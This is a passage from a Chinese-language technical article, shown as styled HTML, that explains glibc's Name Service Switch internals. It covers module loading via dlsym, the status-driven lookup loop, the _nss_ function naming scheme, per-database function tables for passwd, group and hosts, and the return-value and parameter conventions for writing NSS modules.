4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module.c</span></code><span leaf=""> 第 226-239 行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> idx = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; idx &lt; array_length (nss_function_name_array); ++idx)</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *function_name;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (__asprintf (&amp;function_name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_%s_%s&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, nss_function_name_array[idx]) &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">      { </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* ... */</span></span><span leaf=""> }</span><span leaf=""><br/></span><span leaf="">    pointers[idx] = __libc_dlsym (handle, function_name);</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">free</span></span><span leaf=""> (function_name);</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">加载 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 后，glibc 会立即用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlsym</span></code><span leaf=""> 查找模块中所有可能的 NSS 函数（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwnam_r</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwuid_r</span></code><span leaf=""> 等），缓存函数指针。</span><strong style="font-weight: bold;color: black;"><span leaf="">模块不需要导出所有函数</span></strong><span leaf="">，缺失的函数指针为 NULL，查询时会跳过。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">关键步骤三：状态机驱动的查询循环</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">回到查询入口 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getXXbyYY_r.c</span></code><span leaf="">（第 264-345 行），核心循环如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">no_more = DB_LOOKUP_FCT (&amp;nip, REENTRANT_NAME_STRING, ...);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (no_more == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf="">    status = DL_CALL_FCT (fct.l, (ADD_VARIABLES, resbuf, buffer, ...));</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 根据 status 和配置中的 [STATUS=ACTION] 决定下一步</span></span><span leaf=""><br/></span><span leaf="">    no_more = __nss_next2 (&amp;nip, ..., status, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每次调用一个数据源的函数后，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__nss_next2()</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.c</span></code><span leaf=""> 第 91 行）根据返回的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">status</span></code><span leaf=""> 查找配置中对应的 action：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NSS_ACTION_RETURN</span></code><span leaf=""> → 结束查询，返回当前结果</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NSS_ACTION_CONTINUE</span></code><span leaf=""> → 移动到下一个数据源，继续查询</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NSS_ACTION_MERGE</span></code><span leaf=""> → 合并结果后继续</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3.3 源码解析：如何编写一个 NSS 模块</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">基于对 glibc 源码的分析，本节将总结编写 NSS 模块的通用规范。理解这些规范后，你可以为任意数据库（passwd、hosts、group 等）编写自定义模块。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">通用函数命名规则</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所有 NSS 模块导出的函数遵循统一的命名规则：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">_nss_&lt;数据源名&gt;_&lt;NSS函数名&gt;</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">其中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">&lt;NSS函数名&gt;</span></code><span leaf=""> 来自 glibc 维护的固定列表（定义于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/function.def</span></code><span leaf="">，共 </span><strong style="font-weight: bold;color: black;"><span leaf="">64 个</span></strong><span leaf="">函数）。glibc 在加载模块时会遍历这个列表，用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlsym</span></code><span leaf=""> 查找每个函数是否存在。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">完整的函数列表如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">endaliasent      getaliasbyname_r   getaliasent_r     setaliasent</span><span leaf=""><br/></span><span leaf="">endetherent      getetherent_r      gethostton_r      getntohost_r      setetherent</span><span leaf=""><br/></span><span leaf="">endgrent         getgrent_r         getgrgid_r        getgrnam_r        setgrent</span><span leaf=""><br/></span><span leaf="">endhostent       gethostbyaddr_r    gethostbyaddr2_r  gethostbyname_r   gethostbyname2_r</span><span leaf=""><br/></span><span leaf="">                 gethostbyname3_r   gethostbyname4_r  gethostent_r      sethostent</span><span leaf=""><br/></span><span leaf="">                 getcanonname_r</span><span leaf=""><br/></span><span leaf="">endnetent        getnetbyaddr_r     getnetbyname_r    getnetent_r       setnetent</span><span leaf=""><br/></span><span leaf="">endnetgrent      getnetgrent_r      setnetgrent</span><span leaf=""><br/></span><span leaf="">endprotoent      getprotobyname_r   getprotobynumber_r getprotoent_r    setprotoent</span><span leaf=""><br/></span><span leaf="">endpwent         getpwent_r         getpwnam_r        getpwuid_r        setpwent</span><span leaf=""><br/></span><span leaf="">endrpcent        getrpcbyname_r     getrpcbynumber_r  getrpcent_r       setrpcent</span><span leaf=""><br/></span><span leaf="">endservent       getservbyname_r    getservbyport_r   getservent_r      setservent</span><span leaf=""><br/></span><span leaf="">endsgent         getsgent_r         getsgnam_r        setsgent</span><span leaf=""><br/></span><span leaf="">endspent         getspent_r         getspnam_r        setspent</span><span leaf=""><br/></span><span leaf="">                 getpublickey       getsecretkey</span><span leaf=""><br/></span><span leaf="">                 initgroups_dyn     netname2user</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一个模块</span><strong style="font-weight: bold;color: black;"><span leaf="">不需要导出所有 64 个函数</span></strong><span leaf="">。glibc 会用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlsym</span></code><span leaf=""> 逐个查找，找不到的函数指针置为 NULL，查询时自动跳过。模块只需实现自己关心的数据库对应的函数子集。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">按数据库分组的函数子集</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为了更直观地理解，我们将 64 个函数按数据库分组：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">passwd 数据库</span></strong><span leaf="">（用户信息）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">函数名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">用途</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_setpwent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">初始化遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_endpwent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">结束遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getpwent_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">逐条遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getpwnam_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按用户名查找</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getpwuid_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按 UID 查找</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">group 数据库</span></strong><span leaf="">（用户组信息）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">函数名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">用途</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_setgrent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">初始化遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_endgrent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">结束遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getgrent_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">逐条遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getgrnam_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按组名查找</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getgrgid_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按 GID 查找</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_initgroups_dyn</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">获取用户的补充组列表</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">hosts 数据库</span></strong><span leaf="">（主机名解析）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">函数名</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">用途</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_sethostent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">初始化遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_endhostent</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">结束遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostent_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">逐条遍历</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyname_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按主机名查找（IPv4）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyname2_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按主机名查找（指定地址族）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyname3_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">扩展版（含额外统计信息）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyname4_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">支持 IPv6 的扩展版</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyaddr_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">按 IP 地址反查主机名</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_gethostbyaddr2_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">扩展版</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">_nss_xxx_getcanonname_r</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">获取规范主机名</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，不同数据库的函数数量和复杂度差异很大。passwd 最简单（5 个函数），hosts 最复杂（10 个函数）。一个最小化的模块通常只实现其中的 1-2 个查询函数即可。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">通用返回值约定</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所有 NSS 查询函数（无论哪个数据库）都返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">enum nss_status</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss.h</span></code><span leaf="">）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_TRYAGAIN = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-2</span></span><span leaf="">,  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 临时失败（如缓冲区太小）</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_UNAVAIL,        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 服务不可用</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_NOTFOUND,       </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 查询完成但未找到</span></span><span leaf=""><br/></span><span leaf="">  NSS_STATUS_SUCCESS,        </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 查询成功</span></span><span leaf=""><br/></span><span leaf="">};</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">通用参数约定</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所有查询函数都遵循相同的参数模式：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_xxx_getXXbyYY_r (&lt;查询参数&gt;,</span><span leaf=""><br/></span><span leaf="">                      &lt;结果结构体&gt; *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span></code></pre><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">查询参数</span></strong><span leaf="">：因数据库而异（如 passwd 是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">const char *name</span></code><span leaf=""> 或 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">uid_t uid</span></code><span leaf="">，hosts 是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">const char *hostname</span></code><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">result</span></strong><span leaf="">：输出参数，结构体类型因数据库而异（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct hostent</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct group</span></code><span leaf=""> 等）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">buffer</span></strong><span leaf="">：调用方提供的缓冲区，用于存放 result 中指针所指向的字符串数据</span></p></li><li><p style="margin-top: 